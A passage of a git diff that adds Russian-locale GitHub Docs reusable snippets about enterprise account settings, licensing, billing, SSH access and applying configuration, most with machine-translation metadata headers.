разделе "Выставление счетов" нажмите **Сведения об оплате**. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/people-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/people-tab.md new file mode 100644 index 000000000000..bc26344cd8b9 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/people-tab.md @@ -0,0 +1,2 @@ +1. In the enterprise account sidebar, click {% octicon "person" aria-label="The People icon" %} **People**. + ![People tab in the enterprise account sidebar](/assets/images/help/business-accounts/business-account-people-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/policies-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/policies-tab.md new file mode 100644 index 000000000000..d6ac7df87ef6 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/policies-tab.md @@ -0,0 +1,2 @@ +1. In the enterprise sidebar, click {% octicon "law" aria-label="The law icon" %} **Policies**. + ![Policies tab in the enterprise account sidebar](/assets/images/help/business-accounts/enterprise-account-policies-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/projects-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/projects-tab.md new file mode 100644 index 000000000000..65e0acd421e0 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/projects-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 5bc4b4b552b342503ff90afcbf5df707904f9eeb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145112008" +--- +1. На левой боковой панели нажмите **Проекты**. + ![Вкладка "Проекты" на боковой панели параметров корпоративной учетной записи](/assets/images/help/business-accounts/settings-projects-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/repo-creation-policy.md b/translations/ru-RU/data/reusables/enterprise-accounts/repo-creation-policy.md new file mode 100644 index 000000000000..c7033dd8d0a7 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/repo-creation-policy.md @@ -0,0 +1,6 @@ +1. Under "Repository creation", select a policy. + {% ifversion enterprise-namespace-repo-setting %} + ![Drop-down menu with repository creation policy options](/assets/images/help/business-accounts/restrict-personal-namespace-setting.png) + {% else %} + ![Drop-down menu with repository creation policy options](/assets/images/help/business-accounts/repository-creation-policy-drop-down.png) + {% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/repo-creation-types.md b/translations/ru-RU/data/reusables/enterprise-accounts/repo-creation-types.md new file mode 100644 index 000000000000..dc1bd4577680 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/repo-creation-types.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d2cf7f4f019ccb42ca2063a962620e76c8e13050 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145111995" +--- +1. Если вы выбрали параметр **Участники могут создавать репозитории**, выберите один или несколько типов репозиториев. + ![Флажки для типов репозиториев](/assets/images/help/business-accounts/repository-creation-policy-repo-types.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/repositories-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/repositories-tab.md new file mode 100644 index 000000000000..9f9379f7048d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/repositories-tab.md @@ -0,0 +1,2 @@ +1. Under "{% octicon "law" aria-label="The law icon" %} Policies", click **Repositories**. + ![Repositories tab in the enterprise account settings sidebar](/assets/images/help/business-accounts/policies-repositories-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/repository-deletion-policy.md b/translations/ru-RU/data/reusables/enterprise-accounts/repository-deletion-policy.md new file mode 100644 index 000000000000..76361182e67b --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/repository-deletion-policy.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0407b483fd6bed104782910d88f88456c98a094d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111987" +--- +1. В разделе "Удаление и передача репозиториев" выберите политику в раскрывающемся меню. +![Раскрывающееся меню с параметрами политики удаления репозиториев](/assets/images/help/business-accounts/repository-deletion-policy-drop-down.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/restrict-email-notifications-enterprise.md b/translations/ru-RU/data/reusables/enterprise-accounts/restrict-email-notifications-enterprise.md new file mode 100644 index 000000000000..6eb4547bfe27 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/restrict-email-notifications-enterprise.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 01fed69d9c398a144ec7d71520d551d7e2309ce5 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111979" +--- +1. В разделе "Параметры уведомлений" выберите **Ограничить уведомления по электронной почте утвержденными или проверенными доменами**. + ![Флажок ограничения уведомлений по электронной почте адресами проверенных доменов](/assets/images/help/enterprises/restrict-email-notifications-to-domain-enterprise.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/security-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/security-tab.md new file mode 100644 index 000000000000..86a4bbacdb43 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/security-tab.md @@ -0,0 +1,7 @@ +{%- ifversion ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the left sidebar, click **Authentication security**. + {% ifversion ghae %}![Security tab in the enterprise account settings sidebar](/assets/images/enterprise/github-ae/enterprise-account-settings-authentication-security-tab.png){% else %}![Security tab in the enterprise account settings sidebar](/assets/images/help/business-accounts/enterprise-account-settings-authentication-security-tab.png){% endif %} +{%- else %} +1. In the left sidebar, click **Security**. + {% ifversion ghae %}![Security tab in the enterprise account settings sidebar](/assets/images/enterprise/github-ae/enterprise-account-settings-security-tab.png){% else %}![Security tab in the enterprise account settings sidebar](/assets/images/help/business-accounts/enterprise-account-settings-security-tab.png){% endif %} +{%- endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/settings-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/settings-tab.md new file mode 100644 index 000000000000..66ed9c686aff --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/settings-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2ca0b407c0a2da2784d555031fd4257384ea3839 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878876" +--- +1. На боковой панели корпоративной учетной записи щелкните {% octicon "gear" aria-label="The Settings gear" %} **Параметры**. + ![Вкладка "Параметры" на боковой панели корпоративной учетной записи](/assets/images/help/business-accounts/enterprise-account-settings-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/support-entitlements.md b/translations/ru-RU/data/reusables/enterprise-accounts/support-entitlements.md new file mode 100644 index 000000000000..919650e7513e --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/support-entitlements.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 07642cbc6410e043de428226e9d798e462adbbf6 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878883" +--- +Чтобы открыть, просмотреть и прокомментировать запросы в службу поддержки, связанные с корпоративной учетной записью или принадлежащим ей отделом, необходимо иметь права на поддержку в этой учетной записи. Владельцы организации и менеджеры по выставлению счетов автоматически получают право на поддержку, причем владельцы могут предоставлять право на поддержку сотрудникам организации. Дополнительные сведения см. в разделе [Управление правами специалистов службы поддержки для вашего предприятия](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise). diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/team-sync-override.md b/translations/ru-RU/data/reusables/enterprise-accounts/team-sync-override.md new file mode 100644 index 000000000000..c8aa5ee7b939 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/team-sync-override.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 5d1ba3f2cbc16ab24e24e7f6dc3ad9e0557fb9ff +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147076922" +--- +{% ifversion ghec %} Если организация принадлежит корпоративной учетной записи, включение синхронизации команд для корпоративной учетной записи переопределит параметры синхронизации команды на уровне организации. Дополнительные см. на странице [Управление синхронизацией команд для организаций в вашей корпоративной учетной записи](/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise). +{% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/to-upgrade-or-get-started.md b/translations/ru-RU/data/reusables/enterprise-accounts/to-upgrade-or-get-started.md new file mode 100644 index 000000000000..92b5cd1ddc3b --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/to-upgrade-or-get-started.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b8042a04c67457b08cb6c02417e7315b9185c246 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111928" +--- +Чтобы перейти на {% data variables.product.prodname_enterprise %} или начать работу с корпоративной учетной записью, обратитесь в {% data variables.contact.contact_enterprise_sales %}. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/verified-domains-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/verified-domains-tab.md new file mode 100644 index 000000000000..75454ae17d3d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/verified-domains-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 20394d61d889e2db3c94e1a3409bdd40dba021cf +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111923" +--- +1. В разделе "Параметры" выберите вкладку **Проверенные и утвержденные домены**. + ![Вкладка "Проверенные и утвержденные домены"](/assets/images/help/enterprises/verified-domains-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/view-current-policy-config-orgs.md b/translations/ru-RU/data/reusables/enterprise-accounts/view-current-policy-config-orgs.md new file mode 100644 index 000000000000..ed55cc9c865c --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/view-current-policy-config-orgs.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 319b6684b8429e1a852676c8528f9bac26b2b413 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880487" +--- +При необходимости, чтобы просмотреть текущую конфигурацию для всех организаций в корпоративной учетной записи перед изменением параметра, щелкните {% octicon "eye" aria-label="The eye octicon" %} **Просмотр текущих конфигураций организаций**. + ![Ссылка для просмотра текущей конфигурации политики для организаций в бизнесе](/assets/images/help/business-accounts/view-current-policy-implementation-link.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/viewing-dormant-users.md b/translations/ru-RU/data/reusables/enterprise-accounts/viewing-dormant-users.md new file mode 100644 index 000000000000..59afa59fa7ce --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/viewing-dormant-users.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5dd178f17a4bf2434f7bb30326d3ae4ab741cb81 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124008" +--- +Вы можете просмотреть список всех неактивных пользователей, права которых не были приостановлены, и которые не являются администраторами сайта. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/vss-ghe-description.md b/translations/ru-RU/data/reusables/enterprise-accounts/vss-ghe-description.md new file mode 100644 index 000000000000..e3129fda3034 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/vss-ghe-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b53fd15933e9ffe71da5ae0f25b8ddce4b4a5222 +ms.sourcegitcommit: 6b649e03ca2fef38c9ebbeec92102219849380e2 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/31/2022 +ms.locfileid: "148120645" +--- +{% data variables.visual_studio.prodname_vss_ghe %} — это объединенное предложение корпорации Майкрософт, которое позволяет подписчику использовать как {% data variables.product.prodname_vs %}, так и {% data variables.product.prodname_enterprise %}. diff --git a/translations/ru-RU/data/reusables/enterprise-licensing/about-license-sync.md b/translations/ru-RU/data/reusables/enterprise-licensing/about-license-sync.md new file mode 100644 index 000000000000..b75b32416745 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-licensing/about-license-sync.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fbb3311774be7ef276adaba8461a100f73c1c6bb +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109640" +--- +Чтобы пользователь, использующий несколько сред {% data variables.product.prodname_enterprise %}, потреблял только одну лицензию, необходимо синхронизировать использование лицензий между средами. Затем {% data variables.product.company_short %} проведет дедупликацию пользователей на основе адресов электронной почты, связанных с учетными записями пользователей. Дополнительные сведения см. в статье "[Устранение неполадок с использованием лицензий для {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise#about-the-calculation-of-consumed-licenses)". diff --git a/translations/ru-RU/data/reusables/enterprise-licensing/contact-sales-for-renewals-or-seats.md b/translations/ru-RU/data/reusables/enterprise-licensing/contact-sales-for-renewals-or-seats.md new file mode 100644 index 000000000000..b27ac6e21622 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-licensing/contact-sales-for-renewals-or-seats.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d1d6de188233fce2936ebca32402dadddae71b39 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123987" +--- +Если вы хотите продлить или добавить пользовательские лицензии в {% data variables.product.prodname_enterprise %}, или если у вас есть вопросы о своей лицензии, обратитесь в {% data variables.contact.contact_enterprise_sales %}. Новый файл лицензии будет доступен для скачивания сразу после завершения заказа. diff --git a/translations/ru-RU/data/reusables/enterprise-licensing/unique-user-licensing-model.md b/translations/ru-RU/data/reusables/enterprise-licensing/unique-user-licensing-model.md new file mode 100644 index 000000000000..b0f4c8ff144b --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-licensing/unique-user-licensing-model.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: ceae9868f56dc890a23767f070d415ebcfc43274 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147572664" +--- +{% data variables.product.company_short %} использует модель лицензирования уникальных пользователей. Для корпоративных продуктов, включающих несколько вариантов развертывания, {% data variables.product.company_short %} определяет количество лицензированных рабочих мест, которые вы используете в зависимости от количества уникальных пользователей во всех развертываниях. + +Каждый пользователь использует только одну лицензию, вне зависимости от количества используемых им экземпляров {% data variables.product.prodname_ghe_server %} и количества организаций, членом которых пользователь является в {% data variables.product.prodname_ghe_cloud %}. Эта модель позволяет каждому пользователю использовать несколько развертываний {% data variables.product.prodname_enterprise %} без дополнительных затрат. diff --git a/translations/ru-RU/data/reusables/enterprise-licensing/verified-domains-license-sync.md b/translations/ru-RU/data/reusables/enterprise-licensing/verified-domains-license-sync.md new file mode 100644 index 000000000000..714b57dfd5d6 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-licensing/verified-domains-license-sync.md @@ -0,0 +1,5 @@ +{% note %} + +**Note:** If you synchronize license usage and your enterprise account on {% data variables.product.prodname_dotcom_the_website %} does not use {% data variables.product.prodname_emus %}, we highly recommend enabling verified domains for your enterprise account on {% data variables.product.prodname_dotcom_the_website %}. For privacy reasons, your consumed license report only includes the email address associated with a user account on {% data variables.product.prodname_dotcom_the_website %} if the address is hosted by a verified domain. If one person is erroneously consuming multiple licenses, having access to the email address that is being used for deduplication makes troubleshooting much easier. For more information, see {% ifversion ghec or ghes %}"[Verifying or approving a domain for your enterprise](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)" and {% endif %}"[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/enterprise-licensing/view-consumed-licenses.md b/translations/ru-RU/data/reusables/enterprise-licensing/view-consumed-licenses.md new file mode 100644 index 000000000000..1a61f72c9bea --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-licensing/view-consumed-licenses.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bd7f02d9210dd6c84d7cdd0666008b9de3c4ac1b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123976" +--- +После синхронизации использования лицензий вы увидите отчет о потребляемых лицензиях во всех средах в параметрах предприятия на {% data variables.product.prodname_dotcom_the_website %}. Дополнительные сведения см. в разделе [Просмотр использования лицензий для {% data variables.product.prodname_enterprise %}](/enterprise-cloud@latest/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise). diff --git a/translations/ru-RU/data/reusables/enterprise-managed/about-billing.md b/translations/ru-RU/data/reusables/enterprise-managed/about-billing.md new file mode 100644 index 000000000000..f27cdca6465f --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-managed/about-billing.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5cee56f4d4630584aa2c13c40733652eeaa8eb42 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123963" +--- +Вы получите месячный счет за {% data variables.product.prodname_ghe_managed %}, где оплата рассчитывается на каждого лицензированного пользователя в день. diff --git a/translations/ru-RU/data/reusables/enterprise/3-5-missing-feature.md b/translations/ru-RU/data/reusables/enterprise/3-5-missing-feature.md new file mode 100644 index 000000000000..bc357a51748e --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/3-5-missing-feature.md @@ -0,0 +1,11 @@ +{% ifversion ghes = 3.5 %} + +{% note %} + +**Note**: This feature was unavailable in GitHub Enterprise Server 3.5.0, 3.5.1, 3.5.2, and 3.5.3. The feature is available in 3.5.4 and later. For more information about upgrades, contact your site administrator. + +For more information about determining the version of {% data variables.product.product_name %} you're using, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs#github-enterprise-server)." + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise/about-deployment-methods.md b/translations/ru-RU/data/reusables/enterprise/about-deployment-methods.md new file mode 100644 index 000000000000..14fff62f4aa3 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/about-deployment-methods.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 47a5e8848f48c9eb6fd165af30843a59c5a2711e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123955" +--- +{% data variables.product.prodname_enterprise %} предлагает два варианта развертывания. {% ifversion fpt or ghec %}Помимо {% data variables.product.prodname_ghe_cloud %}, можно использовать {% data variables.product.prodname_ghe_server %} для размещения работы по разработке для предприятия в центре обработки данных или поддерживаемом облаке.{% elsif ghes %}Помимо {% data variables.product.product_name %}, можно использовать {% data variables.product.prodname_ghe_cloud %} для размещения работы по разработке для предприятия на {% data variables.product.prodname_dotcom_the_website %}.{% endif %} Дополнительные сведения см. в разделе [Продукты {% data variables.product.company_short %}](/get-started/learning-about-github/githubs-products#github-enterprise). diff --git a/translations/ru-RU/data/reusables/enterprise/about-github-for-enterprises.md b/translations/ru-RU/data/reusables/enterprise/about-github-for-enterprises.md new file mode 100644 index 000000000000..6f7e9b607cec --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/about-github-for-enterprises.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a708ef37153f09729c17dd9a06f258cb64579e6b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109632" +--- +Дополнительные сведения о том, как предприятия могут использовать продукты {% data variables.product.company_short %} для поддержки жизненного цикла разработки программного обеспечения, см. в разделе [Сведения о {% data variables.product.prodname_dotcom %} для предприятий](/admin/overview/about-github-for-enterprises). diff --git a/translations/ru-RU/data/reusables/enterprise/about-policies.md b/translations/ru-RU/data/reusables/enterprise/about-policies.md new file mode 100644 index 000000000000..c5930aa381af --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/about-policies.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fa2917f67972202026445efbca4f9cb3984c27ed +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881791" +--- +Каждая корпоративная политика управляет параметрами, доступными для политики на уровне организации. Вы можете не применять политику принудительно, что позволяет владельцам организации настраивать политику для организации, или выбрать из целого ряда параметров для принудительного применения ко всем организациям, принадлежащих вашему предприятию. diff --git a/translations/ru-RU/data/reusables/enterprise/about-ssh-ports.md b/translations/ru-RU/data/reusables/enterprise/about-ssh-ports.md new file mode 100644 index 000000000000..6f32e9cf237d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/about-ssh-ports.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 05684d814437bf0bce0f851e7c4ca067dad316d7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147410807" +--- +Каждый экземпляр данных {% data variables.product.product_name %} принимает SSH-подключения через два порта. Администраторы сайта могут получить доступ к административной оболочке посредством SSH, а затем запускать служебные программы командной строки, устранять неполадки и выполнять обслуживание. Пользователи могут подключаться по SSH для доступа к данным Git и записи их в репозитории экземпляра. У пользователей нет доступа к экземпляру посредством оболочки. Дополнительные сведения см. в следующих руководствах. + +- "[Сетевые порты](/admin/configuration/configuring-network-settings/network-ports)" +- "[Доступ к административной оболочке (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)" +- [Сведения о протоколе SSH](/authentication/connecting-to-github-with-ssh/about-ssh) diff --git a/translations/ru-RU/data/reusables/enterprise/apply-configuration.md b/translations/ru-RU/data/reusables/enterprise/apply-configuration.md new file mode 100644 index 000000000000..7af7ba5163ba --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/apply-configuration.md @@ -0,0 +1,12 @@ +1. To apply the configuration, enter the following command. + + {% note %} + + **Note**: During a configuration run, services on {% data variables.location.product_location %} may restart, which can cause brief downtime for users. + + {% endnote %} + + ```shell + ghe-config-apply + ``` +1. Wait for the configuration run to complete. diff --git a/translations/ru-RU/data/reusables/enterprise/best-practices.md b/translations/ru-RU/data/reusables/enterprise/best-practices.md new file mode 100644 index 000000000000..fcdf9429169d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/best-practices.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 22e809fc1161b294cac04d68a232c28453aa6352 +ms.sourcegitcommit: 0a6e3eee6eea9b1e445aea1e4461d64cf6b63218 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: "148163588" +--- +Сведения о том, как ваше предприятие может использовать {% data variables.product.product_name %} наиболее эффективно, см. в разделе [Рекомендации для предприятий](/admin/overview/best-practices-for-enterprises). \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/enterprise/constantly-improving.md b/translations/ru-RU/data/reusables/enterprise/constantly-improving.md new file mode 100644 index 000000000000..5544e0404449 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/constantly-improving.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7ccbfd10f10ea0507c1fc2e0164af568e2897361 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123944" +--- +{% data variables.product.product_name %} постоянно улучшается: добавляются новые функции, исправляются ошибки с помощью {% ifversion ghes %}выпусков компонентов и исправлений{% elsif ghae %}регулярных обновлений{% endif %}. diff --git a/translations/ru-RU/data/reusables/enterprise/create-an-enterprise-account.md b/translations/ru-RU/data/reusables/enterprise/create-an-enterprise-account.md new file mode 100644 index 000000000000..c6a162d55192 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/create-an-enterprise-account.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1945c3d8a6f21dfa412463b938cb8b20a3ad56d0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123931" +--- +Если в настоящее время вы используете {% data variables.product.prodname_ghe_cloud %} с одной организацией, мы рекомендуем создать корпоративную учетную запись. diff --git a/translations/ru-RU/data/reusables/enterprise/ghec-authentication-options.md b/translations/ru-RU/data/reusables/enterprise/ghec-authentication-options.md new file mode 100644 index 000000000000..7b3424a0ca4c --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/ghec-authentication-options.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1acdedabde1b516be6b8953861ed20cf6254ddb8 +ms.sourcegitcommit: c2aa10a61db44ee111c09565b6114dd5c97b6e2e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: "148163480" +--- +Вы можете разрешить участникам создавать учетные записи пользователей и управлять ими, либо ваше предприятие может создавать и управлять учетными записями для участников с помощью {% data variables.product.prodname_emus %}. Если вы разрешаете участникам управлять своими учетными записями, также можно настроить проверку подлинности SAML для повышения безопасности и централизации удостоверений, а также доступа к веб-приложениям, которые использует ваша команда. diff --git a/translations/ru-RU/data/reusables/enterprise/ghec-cta-button.md b/translations/ru-RU/data/reusables/enterprise/ghec-cta-button.md new file mode 100644 index 000000000000..1ffb194ddf3f --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/ghec-cta-button.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 10b33d8c961c92095fc55f36f3b7b97d3524be0c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123920" +--- +Бесплатная пробная версия {% data variables.product.prodname_ghe_cloud %} diff --git a/translations/ru-RU/data/reusables/enterprise/ghes-is-a-self-hosted-platform.md b/translations/ru-RU/data/reusables/enterprise/ghes-is-a-self-hosted-platform.md new file mode 100644 index 000000000000..7df25e1f150f --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/ghes-is-a-self-hosted-platform.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2d5bba07cd7f06f3fe7cb9f288d9e7315d74c2a5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880231" +--- +{% data variables.product.product_name %} — это локальная платформа для разработки программного обеспечения на предприятии. diff --git a/translations/ru-RU/data/reusables/enterprise/ghes-runs-on-your-infrastructure.md b/translations/ru-RU/data/reusables/enterprise/ghes-runs-on-your-infrastructure.md new file mode 100644 index 000000000000..0d2038e812b1 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/ghes-runs-on-your-infrastructure.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2d6c3d3a48714ca694ca46d5998f70f60fde3d88 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080458" +--- +{% data variables.product.product_name %} выполняется в вашей инфраструктуре и для управления им вы можете настроить разные элементы управления доступом и безопасностью, например брандмауэры, сетевые политики, системы IAM, средства мониторинга и каналы 